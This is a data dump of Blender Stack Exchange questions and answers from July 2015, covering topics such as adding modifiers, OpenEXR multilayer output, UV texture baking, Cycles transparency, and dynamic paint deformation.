  <row Id="33920" PostTypeId="1" AcceptedAnswerId="33921" CreationDate="2015-07-13T19:15:11.767" Score="3" ViewCount="5174" Body="&lt;p&gt;I am following one of &lt;a href=&quot;https://www.youtube.com/user/quill18creates&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quill18's&lt;/a&gt; tutorials for Blender and Unity 3D. I have a very simple model with one object so far and need to add a second object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first model has multiple modifiers, the Mirror modifier being one of them. Now, I also need to apply the Mirror modifier to the new object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I don't see the option in the interface. When the first object is selected the relevant tab (spanner) exists and contains the correct modifiers and an &quot;Add Modifier&quot; button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the new object is selected, the tab also exists, but it is empty (doesn't contain any buttons whatsoever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I add a modifier to the second object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The .blend file: &lt;a href=&quot;https://www.dropbox.com/s/6iyitaqp68cofen/Level1_2_objects.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/6iyitaqp68cofen/Level1_2_objects.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screenshots: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/JstfSyy.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/8r6ieJW.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Windows 7 Home Premium on a 64-bit laptop.&lt;/p&gt;&#xA;" OwnerUserId="1766" LastEditorUserId="599" LastEditDate="2015-07-13T19:44:03.160" LastActivityDate="2015-07-13T19:44:03.160" Title="Cannot add modifiers?" Tags="&lt;modifiers&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="9" ClosedDate="2015-07-14T08:03:40.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="33921" PostTypeId="2" ParentId="33920" CreationDate="2015-07-13T19:41:48.810" Score="5" Body="&lt;p&gt;Your properties panel is scrolled down. Try scrolling up with the mouse wheel or the scroll bar:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XvsFp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-13T19:41:48.810" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33922" PostTypeId="2" ParentId="33917" CreationDate="2015-07-13T20:25:53.657" Score="2" Body="&lt;p&gt;The OpenEXR file format stores pixel data in 2 ways (&lt;strong&gt;Scan Lines or Tiles&lt;/strong&gt;), and read/writes data in 2 modes (&lt;strong&gt;Arbitrary Channels or RGBA Only&lt;/strong&gt;). &#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7xGIu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;em&gt;Excerpt from &lt;a href=&quot;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&lt;/a&gt;&lt;/em&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;In our case, Blender only stores data via the Scan Line method, so our main focus in our the read/write interface in use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the OpenEXR format is chosen in Blender, the output class used is the &lt;code&gt;OutputFile&lt;/code&gt; class, and the EXR format used is the &lt;strong&gt;RGBA Only&lt;/strong&gt; format which renders out the single beauty pass with no channel information. This means that it only contains a single RGBA frame buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VKqpm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;em&gt;Excerpt from &lt;a href=&quot;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&lt;/a&gt;:&lt;/em&gt;&lt;/sub&gt;&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the OpenEXR Multilayer format is chosen in Blender, the output class used is the &lt;code&gt;RgbaOutputFile&lt;/code&gt; class, and the EXR format used is the &lt;strong&gt;Arbitrary Channel&lt;/strong&gt; mode which organizes all image data into Layers and Passes/Channels. There is no RGBA buffer that does not exist inside a Layer and Pass/Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/woH6B.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;&lt;em&gt;Excerpt from &lt;a href=&quot;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.openexr.com/ReadingAndWritingImageFiles.pdf&lt;/a&gt;:&lt;/em&gt;&#xA;&lt;/sub&gt;&#xA;&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we have an arbitrary Layer named &quot;Foreground&quot;, then Blender automatically calls the beauty pass/channel &quot;Combined&quot; (we don't have control over the channel name, unfortunately). The image data would be defined as &quot;Foreground.Combined.R&quot;, &quot;Foreground.Combined.G&quot;, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Nuke is ingesting a MultiChannel EXR file, it should not be trying to read a master RGBA beauty pass because none exists. Image data only exists at the &lt;code&gt;Layer.Channel&lt;/code&gt; level. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It probably would be more helpful if Blender could name a Layer as &quot;rgb&quot; (which it can) and the beauty pass &lt;strong&gt;&quot;rgba&quot;&lt;/strong&gt; instead of &lt;strong&gt;&quot;Combined&quot;&lt;/strong&gt; (which it can't).&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2015-07-14T19:50:29.947" LastActivityDate="2015-07-14T19:50:29.947" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33923" PostTypeId="1" CreationDate="2015-07-13T20:32:30.057" Score="1" ViewCount="5078" Body="&lt;p&gt;So, I've successfully modeled a sword in blender. Learned a lot. But still learning.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed some tutorials on youtube in order to learn how to texture the model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, what I've done is I've marked seams on several different parts of the Sword (Pommel, Hilt, Crossbar, Blade) And I've unwrapped each part separately. After this, I used a different image for each part of the blade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I love the way it looks now, and I'd like to render it, but every time I try it doesn't show the textures I did with the UV Unwrap. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further research, I found out that I have to make a material, and then apply the texture to the material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is that in every tutorial I've seen of this, its done differently, and most often the people in the tutorials are NOT working with multiple images. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, they create a PNG. using their unwrapped objects, and the whole object is different colors but they're using a single Image, and I am not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm very confused. I'd appreciate any help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, I'd like to simply take the way I have it textured with the UV unwrap (Which I can see when I change the viewport shading from &quot;solid&quot; to textured) and turn that directly into a texture that I can apply to a material, that I can assign to my model, and then render, without having to make multiple textures and multiple PNG.s and etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need very clear, precise instructions, because I am very lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;**I'm using Blender Render, Not Cycles&lt;/p&gt;&#xA;" OwnerUserId="15627" LastEditorUserId="241" LastEditDate="2015-07-13T22:19:38.743" LastActivityDate="2015-07-14T14:22:43.507" Title="How to apply mutiple images to the material of UV Unwraped mesh" Tags="&lt;rendering&gt;&lt;texturing&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="33924" PostTypeId="1" CreationDate="2015-07-13T21:01:08.910" Score="1" ViewCount="138" Body="&lt;p&gt;I'm trying to texture a large landscape for the Game Engine using several layers of stencils. It looks great in the preview window but when I go to play the game, the texture doesn't show up properly. It's like the stencil is repeating itself over the surface. I double checked the UV's and they are laid out properly. Has anyone else encountered this problem or knows how to fix it? Pictures attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VUG8c.jpg&quot; alt=&quot;Preview&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/KT7P0.jpg&quot; alt=&quot;In Game&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ApBMc.jpg&quot; alt=&quot;Properties&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15629" LastEditorUserId="2217" LastEditDate="2015-07-13T21:09:29.803" LastActivityDate="2015-07-13T21:09:29.803" Title="Using Multiple Stencils in Blender Game Engine" Tags="&lt;texturing&gt;&lt;game-engine&gt;&lt;uv&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33925" PostTypeId="2" ParentId="32718" CreationDate="2015-07-13T21:03:37.253" Score="8" Body="&lt;p&gt;You can't really do recursive operations (loops) in the compositor, but in this case there is a sort of hack you can do (a bit like &lt;a href=&quot;https://blender.stackexchange.com/a/5018/599&quot;&gt;this&lt;/a&gt; or &lt;a href=&quot;https://blender.stackexchange.com/q/12373/599&quot;&gt;this&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;can&lt;/em&gt; apply this to the animation as it's rendered, but I preferred to render everything to .exrs and composite afterwards.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add an image sequence node (or renderlayer node) that gives the raw render output&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an image sequence node pointing to the output directory where you'll render the combined sequence.&lt;br&gt;&#xA;To do this you may have to create a few dummy files to convince blender that there is an image sequence there. Copying at least the first few frames of the render output to this directory will do, but be sure to delete them once the node is added.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On the image sequence node, set &lt;em&gt;Frames&lt;/em&gt; to the length of your render and the &lt;em&gt;Offset&lt;/em&gt; to -1. Be sure that the start frame is set correctly as well.&#xA;This will make the image sequence node read the previous frame.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a file output node or use a composite node and adjust the scene output settings. Set the output path to the directory the image sequence node is pointing to. You may want to render to .exr files so you can adjust the exposure later.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b8VDu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then render the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will start by adding the first frame to nothing (as the 0th frame doesn't exist), then the second frame to the first, and the third to the combination of the first and second, and so on. The end result will be an animation like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gfycat.com/SpitefulPeskyGardensnake&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://giant.gfycat.com/SpitefulPeskyGardensnake.gif&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last frame is the result of all the frames added together:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0bLuS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-07-13T21:03:37.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33926" PostTypeId="2" ParentId="33916" CreationDate="2015-07-13T21:40:44.520" Score="1" Body="&lt;p&gt;You might be forced to use multiple curves, and a cube for each curve with a Follow Path constraint with a different Offset, and animate the cubes to appear and disappear (the camera icon on the outliner controls this) at different times.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-13T21:40:44.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33927" PostTypeId="2" ParentId="33899" CreationDate="2015-07-13T21:45:31.290" Score="0" Body="&lt;p&gt;When you use the word &quot;morph&quot; it implies some processing that is not a feature of blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing blender can do is that you can animate the transparency of one video strip so that the video strips beneath it are revealed.  This is done with title cards pretty often (although title cards are usually static, they are still strips in the VSE).&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-07-13T21:45:31.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33929" PostTypeId="2" ParentId="33916" CreationDate="2015-07-13T21:59:37.100" Score="6" Body="&lt;p&gt;As probably one of approaches is to use one cube for this animation with multiple Follow Path constraints added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the example below I added 5 different curves, and 5 different Follow Path constraints for the cube. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p7uZv.gif&quot; alt=&quot;gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used &lt;strong&gt;Offset&lt;/strong&gt; option (thus animated it) in all constraints except for the first one (and actually for the circle, for some reason). I also animated &lt;strong&gt;Influence&lt;/strong&gt; option of every constraint to make every one of them to work separately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/345/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=345&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To bake this action to keyframes and get rid of constraints you should select that cube, hit &lt;kbd&gt;Space&lt;/kbd&gt; and enter Bake Action (or &lt;em&gt;3D View &gt; Object &gt; Animation &gt; Bake Action&lt;/em&gt;). In the options you should select &lt;strong&gt;Visual Keying&lt;/strong&gt; and (optional) &lt;strong&gt;Clear Keyframes&lt;/strong&gt; - you won't need them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k7VjP.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;based on &lt;a href=&quot;https://blender.stackexchange.com/questions/13532/export-animation-curve-as-values/13534#13534&quot;&gt;this answer&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1245" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-07-14T14:28:28.850" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33930" PostTypeId="2" ParentId="33899" CreationDate="2015-07-13T22:11:46.617" Score="2" Body="&lt;p&gt;In short: you could do it manually by morphing tesselated plane with video in texture from one shape key to another. If sequences have no highly significant difference then it would look more or less acceptable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This tutorial will help you:&#xA;&lt;a href=&quot;http://www.blendernation.com/2014/01/06/morphing-photographs-with-blender/&quot; rel=&quot;nofollow&quot;&gt;http://www.blendernation.com/2014/01/06/morphing-photographs-with-blender/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-13T22:11:46.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33931" PostTypeId="2" ParentId="33923" CreationDate="2015-07-13T22:56:50.417" Score="3" Body="&lt;p&gt;What I'm going to show you one possible way to to join different textured objects into a single object with a single texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the roadmap:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jIOO3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming that we are starting with two separate object with assigned textures as in the picture (Texture A for the cube, Texure B for the sphere):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5oLiz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is to create a material based on the assigned texture to each object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Part One - Creating basic textured materials in Blender Internal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select one object (Cube in this case)&lt;/li&gt;&#xA;&lt;li&gt;Go to the Material tab&lt;/li&gt;&#xA;&lt;li&gt;Create new material (rename if wanted)&lt;/li&gt;&#xA;&lt;li&gt;Go to the Texture tab&lt;/li&gt;&#xA;&lt;li&gt;Create a new Material texture&lt;/li&gt;&#xA;&lt;li&gt;&quot;Type&quot; must be &quot;image or movie&quot;&lt;/li&gt;&#xA;&lt;li&gt;Choose the right texture from the built in browser (it will show you all the textures related to your file, so images you based your UV to must shown in the list)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GKs6R.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A basic material where the texture is by default applied to the diffuse color of the shader has been created. Repeat the same processing for the other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is better explained in this &lt;a href=&quot;https://www.youtube.com/watch?v=1nCJfC2pXZ4&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt;, or in this related &lt;a href=&quot;https://blender.stackexchange.com/questions/23437/add-a-image-to-an-object&quot;&gt;answer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Part Two - Join texture in a texture atlas&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First step is about obtain a single object&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Merge all objects by selecting all of them and pressing ctrl+j&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now there is only one object with several materials applied. Blender conserves the information about what material was assigned to each face during the join operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By going in the &quot;Object data&quot; tab, you can see that there is only a UV map. This is because both of my objects had an UV map called &quot;UVMap&quot;, so in the merging process the have been joined under the same name. Tey are now overlayed...but they still act as before in their proper texture space, as you can see in the viewport. If we want a single texture, we must avoid overlaying, so:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a new UVMap by clicking the &quot;+&quot; button.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This new UV, called UVMap.001, will contain the uv info about the texture atlas we are going to create. Select this map, but don't set as &quot;Active for rendering&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see here what UVMap you are working on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hf8Mu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the UV/Image editor, clic on the &quot;X&quot; to clear the editor and than create a new image. This will be the image to bake to.&#xA;You can rearrange the UVs as you wish or let blender do the job by clicking &quot;Pack island&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xvwow.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to the &quot;Render&quot; tab, in the Bake panel, bake mode, select &quot;textures&quot; in order to bake the textures of your object's materials (Texture A and Texture B) to the Image (Untitled.001) which is below your selected UV map (UVMap.001).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/o1ZNW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2015-07-14T14:22:43.507" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="33932" PostTypeId="1" CreationDate="2015-07-13T23:00:01.907" Score="6" ViewCount="996" Body="&lt;p&gt;Is it possible with Blender to have a physical interaction (dealing with contacts) between objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I would like to make a sphere scratch another object and imprint a permanent plastic deformation on this object.&lt;/li&gt;&#xA;&lt;li&gt;I would like a sphere enter inside a cylindrical part (with an elastic behavior) and expand it from the inside.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this with Blender, or by combining Blender with external tools?&lt;/p&gt;&#xA;" OwnerUserId="13523" LastEditorUserId="5705" LastEditDate="2015-07-13T23:36:39.070" LastActivityDate="2015-11-24T14:34:14.273" Title="Physical interaction between objects" Tags="&lt;physics&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33933" PostTypeId="1" CreationDate="2015-07-13T23:07:43.597" Score="0" ViewCount="3467" Body="&lt;p&gt;I have Blender 2.75 and I am working on a project. I want to import a transparent window texture but when I do this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/78e7i.png&quot; alt=&quot;untransparent&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't look transparent in Blender. When I render it with a light and a green cube behind it this happens:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1bapq.png&quot; alt=&quot;untransparent background&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bars are transparent but the background turned black. The same thing happens with another texture when I import it. The background of the texture is white and doesn't blend in with the brick texture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NDADd.png&quot; alt=&quot;cage&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make these textures transparent the right way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: When I add this node setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cuYF.png&quot; alt=&quot;node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 3rd texture (with the background not blending in) just shows all white and it's a black border when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IgMOn.png&quot; alt=&quot;white texture&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5217" LastEditorDisplayName="user1853" LastEditDate="2015-07-14T04:21:41.783" LastActivityDate="2015-07-14T04:21:41.783" Title="Transparency not working in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;transparency&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33934" PostTypeId="2" ParentId="33933" CreationDate="2015-07-13T23:21:33.690" Score="0" Body="&lt;p&gt;In cycles the proper way to use a texture with transparency is to mix a diffuse shader (or whatever shader[s] you are using for your material) with a transparent shader based on the &lt;em&gt;alpha&lt;/em&gt; output of the &lt;em&gt;image texture&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OHqy5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastActivityDate="2015-07-13T23:21:33.690" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="33935" PostTypeId="2" ParentId="33932" CreationDate="2015-07-13T23:59:30.537" Score="7" Body="&lt;p&gt;Yes, Blender is absolutely capable of doing this.  The feature you are looking for is called &lt;em&gt;dynamic paint&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BeSmh.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do this simply select the object you want to deform, go to the &lt;em&gt;physics&lt;/em&gt; tab, click on &lt;em&gt;dynamic paint&lt;/em&gt;, and choose &lt;em&gt;canvas&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p4Va9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then just scroll down to the &lt;em&gt;dynamic paint advanced&lt;/em&gt; rollout and choose &lt;em&gt;displace&lt;/em&gt; under &lt;em&gt;surface type&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gve8E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next, select the object you want to use to inflict the deformation and set it as a dynamic paint brush (just select &lt;em&gt;brush&lt;/em&gt; instead of &lt;em&gt;canvas&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can animate the brush object to scratch across the canvas object and it will deform it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few tips for using dynamic paint:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You will want the canvas object to have plenty of subdivisions so that it has enough geometry to get deformed.&lt;/li&gt;&#xA;&lt;li&gt;You may want to enable &lt;em&gt;anti-aliasing&lt;/em&gt; and add some &lt;em&gt;sub-steps&lt;/em&gt; on the canvas object for a smoother deformation, particularly if the brush object is moving fast.  This makes Blender sample the motion of the object between frames for smoother painting.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3zBLI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-11-24T14:34:14.273" LastActivityDate="2015-11-24T14:34:14.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33936" PostTypeId="2" ParentId="33932" CreationDate="2015-07-14T00:31:43.067" Score="1" Body="&lt;p&gt;You can easly achieve physically believable results by running physic simulation, dynamic paint, keyframed shape keys, molecular add-on, fluids... a mix of all... but remember that Blender is an animation-focused software, so don't expect to be asked just about some real world phisical parameters and let the software do all the work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;First example:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting way to imprint plastic deformation by using a &quot;static&quot; cloth simulation can bee seen in this video &lt;a href=&quot;https://www.youtube.com/watch?t=267&amp;amp;v=wJFE2pb0Ri4&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?t=267&amp;amp;v=wJFE2pb0Ri4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object to be deformed is a highliy subdivided, cloth physic enabled, with structural stiffnes set to 0 in order to keep the deformation caused by a second object that has collision physic enabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Second example:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No smart idea about.&#xA;Maybe a fluid simulation (if I have well understood what is your concept about). The cilinder act as a boundary and the sphere emit big fluid particles in both direction...but the interface will never be smooth as an expanding sphere has.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastActivityDate="2015-07-14T00:31:43.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
